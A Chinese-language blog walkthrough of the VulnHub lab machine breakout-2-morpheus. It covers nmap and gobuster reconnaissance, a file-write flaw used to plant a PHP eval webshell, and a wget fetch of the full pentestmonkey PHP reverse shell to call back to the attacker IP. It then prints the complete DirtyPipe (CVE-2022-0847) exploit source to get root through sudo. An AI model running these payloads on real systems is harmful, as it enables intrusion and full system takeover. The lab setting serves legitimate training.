博客 / 詳情

返回

vulnhub靶場breakout-2-morpheus

breakout-2-morpheus

本地虛擬機部署,攻擊機Kali(IP:10.1.1.128)

主機發現

nmap -sn -T4 10.1.1.0/24

image-20260115144225957

確定目標主機IP地址10.1.1.130

端口掃描

TCP端口掃描

nmap --min-rate 10000 -p- 10.1.1.130 -oA nmap_output/ports
--min-rate 最低速率,由於本地虛擬機部署,無需考慮被封殺和資源消耗

實戰紅隊中:

nmap -sS -n -Pn -T2 --max-rate 2000 --max-retries 2 -p- 10.1.1.130 -oA nmap_output/ports
-sS	半開掃描,並偽造源IP地址
-n	不使用DNS解析
-Pn	不做存活探測
-T	指定掃描速率,不指定默認為T3(1~5,數字越大掃描越快)
--max-rate	最大速率
--max-retries	最大嘗試次數
-oA	三種格式(全格式)輸出結果進行保存

image-20260115152540913

開放端口:22,80,81

端口詳細信息掃描

nmap -sS -n -Pn -p 22,80,81,1 -sV -sC -O 10.1.1.130 -oA nmap_output/detail
1	指定一個處於關閉狀態下的端口。如端口:1,在判斷操作系統的時候,需要用開放的端口和關閉的端口進行比對
-p	指定端口
-sV	服務版本探測
-sC	使用nmap默認腳本掃描
-O	對操作系統進行識別探測

image-20260115155130964

UDP端口掃描

nmap -sU --top-ports 100 10.1.1.130 -oA nmap_output/udp

image-20260115170759982

漏洞腳本掃描

nmap --script=vuln -p22,80,81 10.1.1.130 -oA nmap_output/vuln

image-20260115171855785

信息總結

OS:Linux 4.15 - 5.19
TCP端口開放:
22		OpenSSH 8.4p1 Debian 5 (protocol 2.0)
80		Apache httpd 2.4.51 ((Debian))
81		nginx 1.18.0	401 Authorization Required
UDP端口開放:目前無實際利用價值
常見漏洞信息:無
80端口web服務有robots.txt文件
/robots.txt

WEB

瀏覽器查看

http://10.1.1.130:80

image-20260115201750053

有一行提示,大致意思是已經鎖定了SSH用户,所以推斷目標雖然開放了22端口,可能不允許進行遠程SSH登錄,突破口的策略將其放置到最後

查看網頁源代碼,並保存唯一的照片

image-20260115201943647

圖片隱寫

查看圖片隱寫,無內容

robots.txt

image-20260115205929062

沒有利用價值

目錄爆破

gobuster dir -u http://10.1.1.130 -a "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

image-20260116160933097

觀察了瀏覽器插件wappalyzer

image-20260118143832258

並沒有發現web端的技術棧是什麼,所以窮舉一下,完善gobuster掃描,指定常見的文件後綴名

gobuster dir -u http://10.1.1.130 -a "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" -x php,jsp,asp,txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

image-20260118144339040

發現graffiti.txt和graffiti.php graffiti 塗鴉

瀏覽器訪問這2個文件

image-20260118145432320

提交數據抓包

image-20260118145800397

發現提交數字1,保存在graffiti.txt文件中

image-20260118145907694

任意文件寫入

修改一下參數,是否能操作graffiti.php文件

image-20260118151309957

後端源代碼泄漏

返回包直接泄漏了graffiti.php後端源代碼

<h1>
<center>
Nebuchadnezzar Graffiti Wall

</center>
</h1>
<p>
<h1>
<br>
<center>
<br>
Nebuchadnezzar Graffiti Wall
<br>

<br>
</center>
<br>
</h1>
<br>
<p>
<br>
<?php
<br>

<br>
$file="graffiti.txt";
<br>
if($_SERVER['REQUEST_METHOD'] == 'POST') {
<br>
    if (isset($_POST['file'])) {
<br>
       $file=$_POST['file'];
<br>
    }
<br>
    if (isset($_POST['message'])) {
<br>
        $handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
<br>
        fwrite($handle, $_POST['message']);
<br>
	fwrite($handle, "\n");
<br>
        fclose($file); 
<br>
    }
<br>
}
<br>

<br>
// Display file
<br>
$handle = fopen($file,"r");
<br>
while (!feof($handle)) {
<br>
  echo fgets($handle);
<br>
  echo "<br>\n";
<br>
}
<br>
fclose($handle);
<br>
?>
<br>
<p>
<br>
Enter message: 
<br>
<p>
<br>
<form method="post">
<br>
<label>Message</label><div><input type="text" name="message"></div>
<br>
<input type="hidden" name="file" value="graffiti.txt">
<br>
<div><button type="submit">Post</button></div>
<br>
</form>
<br>
1
<br>
<br>
<p>
Enter message: 
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>

回去訪問graffiti.php文件,發現提交的message參數值也同步顯示了

image-20260118151558872

那麼直接在graffiti.php寫入一句話木馬

<?php @eval($_POST['cmd']);?>

image-20260118152256348

驗證一下是否解析

image-20260118152523161

成功執行php代碼

執行系統命令

image-20260118164341898

反彈shell

kali自帶php反彈shell腳本文件

/usr/share/webshells/php/php-reverse-shell.php

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.1.1.128';  // CHANGE THIS
$port = 12345;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?>



重命名為shell.php,更改反彈主機的IP及端口

在kali部署http服務託管該反彈shell.php文件

在目標機執行系統命令

cmd=system('wget http://10.1.1.128:8000/shell.php');

image-20260118173111841

image-20260118173124638

查看文件是否存在

image-20260118173213232

監聽端口

nc -lvnp 12345

訪問http://10.1.1.130/shell.php

image-20260118173527631

image-20260118173641917

user FLAG.txt

image-20260118174308481

提權

發現有Python3環境,提升一下shell交互性

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20260118214116379

信息蒐集

通過執行uname -a得知系統版本為:

Linux morpheus 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 GNU/Linux

搜索公開漏洞:

searchsploit linux 5.10.0

image-20260118220449788

發現一個內核版本合適的本地權限提升漏洞

Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)

查看詳細信息

searchsploit -p 50808

image-20260118220858647

CVE-2022-0847

查看詳細利用腳本:/usr/share/exploitdb/exploits/linux/local/50808.c

50808.c

// Exploit Title: Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)
// Exploit Author: blasty (peter@haxx.in)
// Original Author: Max Kellermann (max.kellermann@ionos.com)
// CVE: CVE-2022-0847

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
        /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
        0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
        0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
        0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
        0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
        0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
        0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
        0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
        0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
        0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
        0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
        0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
        0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
        0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
        0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
        0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
        0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
        if (pipe(p)) abort();

        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];

        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                write(p[1], buffer, n);
                r -= n;
        }

        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
                unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
                read(p[0], buffer, n);
                r -= n;
        }

        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
        /* open the input file and validate the specified offset */
        const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
                perror("open failed");
                return -1;
        }

        struct stat st;
        if (fstat(fd, &st)) {
                perror("stat failed");
                return -1;
        }

        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);

        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        --offset;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
                perror("splice failed");
                return -1;
        }
        if (nbytes == 0) {
                fprintf(stderr, "short splice\n");
                return -1;
        }

        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], data, len);
        if (nbytes < 0) {
                perror("write failed");
                return -1;
        }
        if ((size_t)nbytes < len) {
                fprintf(stderr, "short write\n");
                return -1;
        }

        close(fd);

        return 0;
}

int main(int argc, char **argv) {
        if (argc != 2) {
                fprintf(stderr, "Usage: %s SUID\n", argv[0]);
                return EXIT_FAILURE;
        }

        char *path = argv[1];
        uint8_t *data = elfcode;

        int fd = open(path, O_RDONLY);
        uint8_t *orig_bytes = malloc(sizeof(elfcode));
        lseek(fd, 1, SEEK_SET);
        read(fd, orig_bytes, sizeof(elfcode));
        close(fd);

        printf("[+] hijacking suid binary..\n");
        if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
                printf("[~] failed\n");
                return EXIT_FAILURE;
        }

        printf("[+] dropping suid shell..\n");
        system(path);

        printf("[+] restoring suid binary..\n");
        if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
                printf("[~] failed\n");
                return EXIT_FAILURE;
        }

        printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
        system("/tmp/sh");

        return EXIT_SUCCESS;
}                                                                                                                              

EXP

需要gcc編譯環境

image-20260121170550375

目標正好具有gcc環境

image-20260121170453067

執行下載到目標主機,並進行gcc編譯

image-20260121205458055

chmod +x compile.sh
./compile.sh
./exploit-1			#exploit-1利用失敗,原因可能是gcc版本問題
#劫持SUID二進制文件,先進行find查找
find / -perm -4000 2>/dev/null

image-20260121210047925

/usr/bin/sudo為例,執行:

./exploit-2 /usr/bin/sudo

image-20260121210222237

獲得root權限

root FLAG.txt

image-20260121210624176

用户hash

image-20260121222554436

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.